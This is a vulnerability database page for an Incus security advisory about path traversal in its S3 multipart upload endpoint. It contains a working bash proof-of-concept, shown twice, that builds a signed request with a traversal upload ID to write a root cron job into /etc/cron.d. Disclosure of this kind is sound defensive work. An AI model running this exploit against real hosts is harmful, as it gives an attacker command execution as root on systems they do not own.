Vulnerability-Lookup

GHSA-CCJC-4QC3-JXQC

Vulnerability from github – Published: 2026-06-26 18:47 – Updated: 2026-06-26 18:47

Summary

Incus has an arbitrary file write via path traversal in S3 multipart upload

Details

Summary

The S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution.

In internal/server/storage/s3/local/multipart.go, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33

PoC

Setup

# Expose the S3 API and create a bucket
incus config set core.storage_buckets_address=:8555
incus storage volume create default bucket
#> note the credentials

Exploitation

The below script was mostly generated.

#!/usr/bin/env bash
set -euo pipefail

if [ $# -lt 4 ]; then
    printf 'usage: $0 endpoint bucket access-key secret-key\n' >&2
    exit 1
fi

endpoint="${1%/}"
bucket="${2}"
access="${3}"
secret="${4}"

region="us-east-1"
service="s3"
key="anything"
part="1"
upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d"
target="/etc/cron.d/part-00001"
cmd="id > /incus-s3-uploadid-bash-rce; rm -f $target"
body="* * * * * root /bin/sh -c '$cmd'
"

uri_path="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key"
uri_path="${uri_path#/}"
uri_path="/$uri_path"
host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')"
qs="partNumber=$part&uploadId=${upload_id//\//%2F}"
url="$endpoint/$bucket/$key?$qs"

amz_date=$(date -u +%Y%m%dT%H%M%SZ)
date_scope="${amz_date:0:8}"
scope="$date_scope/$region/$service/aws4_request"
body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}')
signed="host;x-amz-content-sha256;x-amz-date"

canonical="PUT
$uri_path
$qs
host:$host
x-amz-content-sha256:$body_hash
x-amz-date:$amz_date

$signed
$body_hash"
canonical_hash="$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')"
string_to_sign="AWS4-HMAC-SHA256
$amz_date
$scope
$canonical_hash"

hmac_hex() {
    printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256
}

k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256)
k_date=$(hmac_hex "$k_date" "$date_scope")
k_region=$(hmac_hex "$k_date" "$region")
k_service=$(hmac_hex "$k_region" "$service")
k_signing=$(hmac_hex "$k_service" "aws4_request")
sig=$(hmac_hex "$k_signing" "$string_to_sign")
auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}"

printf '# body:\n%s' "${body}"

curl -ksS -X PUT "${url}" \
    -H "Host: ${host}" \
    -H "X-Amz-Date: ${amz_date}" \
    -H "X-Amz-Content-Sha256: ${body_hash}" \
    -H "Authorization: ${auth}" \
    --data-binary "${body}"

Impact

Arbitrary file write on the host. Possibly leading to arbitrary command execution.

Severity

9.9 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lxc/incus/v7/cmd/incusd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48753"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T18:47:25Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution.\n\nIn `internal/server/storage/s3/local/multipart.go`, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33\n\n## PoC\n\n### Setup\n\n```\n# Expose the S3 API and create a bucket\nincus config set core.storage_buckets_address=:8555\nincus storage volume create default bucket\n#\u003e note the credentials\n```\n\n### Exploitation\n\nThe below script was mostly generated.\n\n```\n#!/usr/bin/env bash\nset -euo pipefail\n\nif [ $# -lt 4 ]; then\n\tprintf \u0027usage: $0 endpoint bucket access-key secret-key\\n\u0027 \u003e\u00262\n\texit 1\nfi\n\nendpoint=\"${1%/}\"\nbucket=\"${2}\"\naccess=\"${3}\"\nsecret=\"${4}\"\n\nregion=\"us-east-1\"\nservice=\"s3\"\nkey=\"anything\"\npart=\"1\"\nupload_id=\"../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d\"\ntarget=\"/etc/cron.d/part-00001\"\ncmd=\"id \u003e /incus-s3-uploadid-bash-rce; rm -f $target\"\nbody=\"* * * * * root /bin/sh -c \u0027$cmd\u0027\n\"\n\nuri_path=\"$(printf \u0027%s\u0027 \"$endpoint\" | sed -E \u0027s#^[a-z]+://[^/]+##\u0027)/$bucket/$key\"\nuri_path=\"${uri_path#/}\"\nuri_path=\"/$uri_path\"\nhost=\"$(printf \u0027%s\u0027 \"$endpoint\" | sed -E \u0027s#^[a-z]+://([^/]+).*#\\1#\u0027)\"\nqs=\"partNumber=$part\u0026uploadId=${upload_id//\\//%2F}\"\nurl=\"$endpoint/$bucket/$key?$qs\"\n\namz_date=$(date -u +%Y%m%dT%H%M%SZ)\ndate_scope=\"${amz_date:0:8}\"\nscope=\"$date_scope/$region/$service/aws4_request\"\nbody_hash=$(printf \u0027%s\u0027 \"$body\" | sha256sum | awk \u0027{print $1}\u0027)\nsigned=\"host;x-amz-content-sha256;x-amz-date\"\n\ncanonical=\"PUT\n$uri_path\n$qs\nhost:$host\nx-amz-content-sha256:$body_hash\nx-amz-date:$amz_date\n\n$signed\n$body_hash\"\ncanonical_hash=\"$(printf \u0027%s\u0027 \"$canonical\" | sha256sum | awk \u0027{print $1}\u0027)\"\nstring_to_sign=\"AWS4-HMAC-SHA256\n$amz_date\n$scope\n$canonical_hash\"\n\nhmac_hex() {\n\tprintf \u0027%s\u0027 \"${2}\" | openssl dgst -sha256 -mac HMAC -macopt \"hexkey:${1}\" -binary | xxd -p -c 256\n}\n\nk_date=$(printf \u0027AWS4%s\u0027 \"$secret\" | xxd -p -c 256)\nk_date=$(hmac_hex \"$k_date\" \"$date_scope\")\nk_region=$(hmac_hex \"$k_date\" \"$region\")\nk_service=$(hmac_hex \"$k_region\" \"$service\")\nk_signing=$(hmac_hex \"$k_service\" \"aws4_request\")\nsig=$(hmac_hex \"$k_signing\" \"$string_to_sign\")\nauth=\"AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}\"\n\nprintf \u0027# body:\\n%s\u0027 \"${body}\"\n\ncurl -ksS -X PUT \"${url}\" \\\n\t-H \"Host: ${host}\" \\\n\t-H \"X-Amz-Date: ${amz_date}\" \\\n\t-H \"X-Amz-Content-Sha256: ${body_hash}\" \\\n\t-H \"Authorization: ${auth}\" \\\n\t--data-binary \"${body}\"\n```\n\n\n## Impact\n\nArbitrary file write on the host. Possibly leading to arbitrary command execution.",
  "id": "GHSA-ccjc-4qc3-jxqc",
  "modified": "2026-06-26T18:47:25Z",
  "published": "2026-06-26T18:47:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-ccjc-4qc3-jxqc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lxc/incus"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Incus has an arbitrary file write via path traversal in S3 multipart upload"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

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GHSA-CCJC-4QC3-JXQC

Summary

PoC

Setup

Exploitation

Impact

Tags

Sightings

Nomenclature